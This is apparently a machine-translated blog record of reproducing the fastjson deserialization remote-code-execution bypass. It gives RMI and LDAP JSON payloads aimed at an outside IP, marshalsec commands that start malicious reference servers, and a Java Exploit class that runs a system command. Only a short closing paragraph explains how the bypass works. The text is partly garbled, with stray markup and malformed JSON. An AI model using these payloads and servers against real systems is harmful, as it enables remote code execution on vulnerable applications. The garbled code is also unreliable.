fastjsonのRCE脆弱性再現記録

2727 ワード

参照リンク:
https://paper.seebug.org/994/https://www.cnblogs.com/jinqi520/p/11097779.htmlhttps://xz.aliyun.com/t/5680
0 x 01脆弱性復元RMi
1. payload:
{"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://106.12.201.224:1099/Exploit","autoCommit":true}}
2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"
  • コンパイル***スクリプト
  • を生成
    次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
    
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    
    }

    0 x 02脆弱性再現LDAP
    1. payload:
    {"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://106.12.201.224:1389/Exploit","autoCommit":true}}
    2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"
  • コンパイル***スクリプトExploitを生成する.JAvaではパケット
  • をインポートしない
    次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
    
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    
    }

    0 x 03脆弱性原理
    今回迂回した大体の考え方はjavaです.lang.Classは、JdbcRowSetImplクラスをmapキャッシュにロードし、autotypeの検出を迂回します.したがってpayloadを2回に分けて送信し,1回目のロード,2回目の実行を行う.デフォルトでは、キャッシュにロードされていないクラスに遭遇すると、checkautotypeは例外を投げ出して中止します.
    最初のリクエストを送信とClassはdeserializersを通過する.findClassがロードされ、ClassがJdbcRowSetImplクラスをmapにロードし、2回目のリクエストでJdbcRowSetImplクラスが見つかり、検出を迂回しました.